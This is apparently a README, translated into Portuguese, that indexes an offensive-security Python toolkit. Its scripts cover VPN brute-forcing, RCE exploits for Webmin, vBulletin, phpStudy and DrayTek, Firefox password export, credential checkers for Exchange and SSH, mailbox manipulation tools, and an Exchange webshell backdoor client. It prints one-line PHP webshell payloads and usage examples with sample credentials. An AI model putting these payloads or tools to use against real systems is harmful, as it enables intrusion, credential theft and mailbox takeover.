Homework-of-Python

Códigos Python do meu blog.

pptp_password_hack.py

Use um ataque de força bruta para obter a senha da VPN PPTP.

Ele lê as senhas do arquivo (chamado wordlist) e depois usa pptpsetup para conectar ao servidor.

O intervalo de tempo é de 10 segundos.

---

portscan.py

Usado para escanear portas.

O tempo limite (timeout) é de 3 segundos.

Versão em C++：

https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp

---

urltoip.py

Usado para obter o IP a partir da URL.

Posso usar o resultado do Sublist3r diretamente.

file_deduplication(For_urltoip).py

Usado para remover IPs duplicados do resultado do Sublist3r.

Posso usar o resultado do urltoip.py diretamente.

Os IPs podem ser ordenados usando o Sublime (F9).

---

file_deduplication.py

Usado para remover itens duplicados de arquivo.

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107).py

Referência:

https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html

---

fofa_api.py

Usado para chamar a API do fofa e imprimir o IP dos resultados.

Você pode obter 100 resultados.

fofa_api_VIP.py

Usado para chamar a API do fofa e imprimir o IP dos resultados.

Se você for VIP, obterá 10000 resultados.

---

vBulletin_5.x_0day_pre-auth_RCE.py

Referência:

https://seclists.org/fulldisclosure/2019/Sep/31

Ex.:

echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php

---

phpStudy_5.2-5.45_(php_xmlrpc.dll)_backdoor_RCE.py

Referência:

https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w

Ex.:

system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');

---

ExportFirefoxPassword.py

Usado para exportar a senha do Firefox

get_Exchange_version.py

Usado para obter a versão do Exchange.

Primeiro, obtenha o BuildNumber através do código-fonte da URL e depois obtenha a versão.

Referência:

https://docs.microsoft.com/en-us/Exchange/new-features/build-numbers-and-release-dates?redirectedfrom=MSDN&view=exchserver-2019

---

SMBv3_RCE_Scanner(CVE-2020-0796).py

Usado para escanear a vulnerabilidade RCE do SMBv3.

O tempo limite (timeout) é de 3 segundos.

---

Unauthenticated_RCE_in_Draytek_Vigor2960\3900\300B.py

Referência:

https://github.com/imjdl/CVE-2020-8515-PoC

CVE-2020-8515

Os dispositivos DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta e Vigor300B 1.3.3_Beta, 1.4.2.1_Beta e 1.4.4_Beta permitem execução remota de código como root (sem autenticação) através de metacaracteres de shell no URI cgi-bin/mainfunction.cgi..

Produtos afetados:

• Vigor300B <v1.5.1
• Vigor2960 <v1.5.1
• Vigor3900 <v1.5.1

---

Zimbra_SOAP_API_Manage.py

Use a API SOAP do Zimbra para conectar ao servidor de e-mail Zimbra.

Uso:

      Zimbra_SOAP_API.py <url> <username> <password> <mode>

modo:

• low auth para token baixo
• admin auth para token de administrador
• ssrf Use CVE-2019-9621 para obter o token de administrador

Ex.:

      Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low

---

checkEWS.py

Usado para verificar a conta válida do Exchange Web Service (suporta plaintext e ntlmhash)

Referência: https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py

Uso:

checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash

Ex.:

checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1

checkAutodiscover.py

Usado para acessar o Autodiscover.xml e obter a configuração do usuário (suporta plaintext e ntlmhash)

Uso:

checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx

Ex.:

checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting

checkAutodiscoverEx.py

Modo extra do checkAutodiscover.py

Adiciona um parâmetro

ewsManage.py

Usado para acessar o Exchange Web Service (suporta plaintext e ntlmhash)

Uso:

ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname

Ex.:

ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox

---

sshCheck.py

Usado para verificar a credencial válida do SSH (suporta senha e arquivo de chave privada)

Uso:

sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile

Ex.:

sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa

sshRunCmd

Execução remota de comandos via SSH (suporta senha e arquivo de chave privada)

Uso:

sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell

Ex.:

sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps

---

easCheck.py

Usado para verificar a credencial válida do eas (Exchange Server ActiveSync)

Uso:

easCheck.py <host> <user> <password>

Ex.:

easCheck.py 192.168.1.1 user1 password1

---

checkOWA.py

Usado para verificar a conta válida do Exchange conectando-se ao OWA.

Uso:

checkOWA.py <url> <user> <password>

owaManage.py

Usado para ler e-mails conectando-se ao OWA.

Uso:

owaManage.py  <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment

---

imapManage.py

Use IMAP para conectar ao servidor de e-mail.

Uso:

imapManage.py <IMAP server> <username> <password> <command>    
<command>:
CheckConfig             get the folder name
SaveAttachOfInbox       save the attachments of Inbox
SaveAttachOfSent        save the attachments of Sent
DownloadAllMailOfInbox  download all the mails of Inbox
DownloadAllMailOfSent   download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig

---

aspxCmdNTLM.py

Usado para implementar a autenticação NTLM e comunicar-se com execCmd.aspx

Os dados de comunicação são codificados com Base64

Uso:

aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami

---

SharpExchangeBackdoor.py

Versão em C#: SharpExchangeBackdoor.cs

Usado para enviar payload para o backdoor de webshell do Exchange.

Suporte:

• assemblyLoad
• webshellWrite

Uso:

    <url> <user> <password> <mode> <path>
mode:
    assemblyLoad
    webshellWrite

Ex.: